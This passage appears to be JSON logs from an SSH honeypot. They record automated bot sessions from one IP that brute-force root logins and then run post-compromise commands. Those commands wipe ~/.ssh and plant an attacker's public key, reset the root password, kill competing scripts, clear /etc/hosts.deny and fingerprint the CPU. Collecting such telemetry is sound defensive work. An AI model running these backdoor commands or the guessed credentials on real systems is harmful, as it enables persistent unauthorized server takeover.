$7}'"},{"seq":10,"at":"2026-08-26T12:31:32.152072+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:31:32.994157+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:31:34.159159+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:31:34.994604+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:31:35.308594+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:31:36.157636+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:31:36.453070+00:00","kind":"output","latency_ms":null,"data":" 12:31:36 up 6 days, 9:21, 0 user, load average: 0.02, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:31:37.293385+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:31:37.736845+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:31:38.592263+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:31:39.045139+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:31:39.897145+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:31:40.353631+00:00","kind":"output","latency_ms":null,"data":"top - 12:31:40 up 6 days, 9:21, 0 user, load average: 0.02, 0.03, 0.02\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:31:41.196188+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:31:41.937477+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:31:42.802545+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:31:43.556426+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:31:44.393994+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:31:45.048318+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:31:45.891662+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:31:47.040057+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:31:47.893364+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:31:49.388971+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"asa","method":"password","accepted":true,"tier":"other"}]} {"id":"65159989-e694-47cb-958b-e59d3b97e3fc","name":"steady-bold-vicuna","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":47112,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:31:25.196560+00:00","ended_at":"2026-08-26T12:31:26.212890+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9310dd9b-f5bc-4cc7-bf2f-d55a4c95e668","name":"spirited-marbled-yak","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":47104,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:31:21.563279+00:00","ended_at":"2026-08-26T12:31:23.396839+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0d06f611-316d-4998-9197-dca43e2f1d03","name":"autumn-gleaming-blackbird","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":46894,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":879,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:28:54.695359+00:00","ended_at":"2026-08-26T12:28:56.430434+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T12:28:24.895962+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:28:25.795962+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:28:33.126208+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:28:33.680749+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:28:34.535322+00:00","kind":"input","latency_ms":null,"data":"echo \"root:XMObyTI7HE2p\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:28:35.395215+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:28:36.297677+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:28:36.715546+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:28:37.596243+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:28:38.459482+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:28:39.318594+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:28:40.298016+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:28:41.195597+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:28:41.689196+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:28:42.565165+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:28:42.902886+00:00","kind":"output","latency_ms":null,"data":" 12:28:42 up 6 days, 9:18, 0 user, load average: 0.29, 0.23, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:28:43.794207+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:28:44.576077+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:28:45.431247+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:28:46.109632+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:28:46.994765+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:28:47.636372+00:00","kind":"output","latency_ms":null,"data":"top - 12:28:47 up 6 days, 9:18, 0 user, load average: 0.29, 0.23, 0.19\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:28:48.495880+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:28:49.022155+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:28:49.902400+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:28:50.348347+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:28:51.205443+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:28:51.487748+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:28:52.397129+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:28:53.815238+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:28:54.696910+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:28:56.155414+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Senha@123","method":"password","accepted":true,"tier":"other"}]} {"id":"0a5f334f-57bf-4ae9-bc1c-8ab9b76340be","name":"foggy-balmy-hornbill","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":46910,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:28:30.994825+00:00","ended_at":"2026-08-26T12:28:32.852397+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2ad0da72-71fd-4181-b77b-3836a585bc76","name":"sandy-weathered-eagle","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":46902,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:28:27.791830+00:00","ended_at":"2026-08-26T12:28:29.224988+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"90967c2e-631d-4651-b13d-c1a3a302f9ba","name":"hushed-daring-anteater","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":46696,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":878,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:26:11.600364+00:00","ended_at":"2026-08-26T12:26:12.993685+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T12:25:40.118761+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:25:41.005633+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:25:47.625178+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:25:48.233959+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:25:49.155561+00:00","kind":"input","latency_ms":null,"data":"echo \"root:uMbTHUhIRW9V\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:25:50.012160+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:25:50.899624+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:25:51.610665+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:25:52.493033+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:25:53.938752+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:25:54.807639+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:25:56.198235+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:25:57.093173+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:25:57.852552+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:25:58.714269+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:25:59.505220+00:00","kind":"output","latency_ms":null,"data":" 12:25:59 up 6 days, 9:16, 0 user, load average: 0.09, 0.08, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:26:00.393806+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:26:00.915283+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:26:01.793655+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:26:02.364865+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:26:03.223480+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:26:03.717730+00:00","kind":"output","latency_ms":null,"data":"top - 12:26:03 up 6 days, 9:16, 0 user, load average: 0.09, 0.08, 0.09\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:26:04.596782+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:26:05.363519+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:26:06.224658+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:26:06.683705+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:26:07.565675+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:26:08.435450+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:26:09.298509+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:26:10.747965+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:26:11.601320+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:26:12.695250+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"wang123","method":"password","accepted":true,"tier":"other"}]} {"id":"da32af1c-c6a1-491e-9c2f-1798d9b3fb30","name":"shifting-plush-boar","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":46712,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:25:46.507247+00:00","ended_at":"2026-08-26T12:25:47.346293+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"516e696d-2d28-4906-b446-49d923519d32","name":"smoky-stoic-dunlin","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":46704,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:25:42.991173+00:00","ended_at":"2026-08-26T12:25:44.742277+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a79afc1b-5d67-4372-91b6-cf26228ad2c8","name":"verdant-lanky-wallaby","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":46502,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":859,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:23:35.889598+00:00","ended_at":"2026-08-26T12:23:37.501096+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T12:23:05.257589+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:23:06.098591+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:23:13.562465+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:23:13.931569+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:23:14.790062+00:00","kind":"input","latency_ms":null,"data":"echo \"root:QSW11Mvq8Bv8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:23:15.654966+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:23:16.492344+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:23:17.302068+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:23:18.190093+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:23:18.988413+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:23:19.830093+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:23:21.190321+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:23:22.054644+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:23:22.725014+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:23:23.624207+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:23:23.949509+00:00","kind":"output","latency_ms":null,"data":" 12:23:23 up 6 days, 9:13, 0 user, load average: 0.09, 0.1, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:23:24.795511+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:23:25.631123+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:23:26.491418+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:23:26.991593+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:23:27.856163+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:23:28.738478+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:28 up 6 days, 9:13, 0 user, load average: 0.09, 0.1, 0.06\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:23:29.592184+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:23:30.372060+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:23:31.210528+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:23:31.531496+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:23:32.392137+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:23:32.755242+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:23:33.592491+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:23:35.012748+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:23:35.890395+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:23:37.233739+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1a2b3c4d@","method":"password","accepted":true,"tier":"other"}]} {"id":"095e506b-2171-4ea4-8c00-db3c299b53f2","name":"somber-steady-harrier","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":46518,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:23:11.998484+00:00","ended_at":"2026-08-26T12:23:13.292815+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"18e69e2d-0cf6-4da1-8bbd-391dd445256c","name":"scarlet-smoky-eagle","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":46510,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:23:08.105085+00:00","ended_at":"2026-08-26T12:23:10.194818+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5105c764-41be-4799-9919-317103f5e077","name":"gleaming-daring-koala","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":46286,"username":"junin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":866,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia 